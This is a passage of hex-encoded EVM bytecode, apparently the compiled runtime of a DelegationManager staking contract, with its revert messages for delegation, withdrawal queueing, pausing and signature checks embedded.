064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806113bb5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000000000000000000000000000000000000000000000909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f0000000000000000000000000000000000000000000000000000000000000000909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f00000000000000000000000000000000000000000000000000000000000000004603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb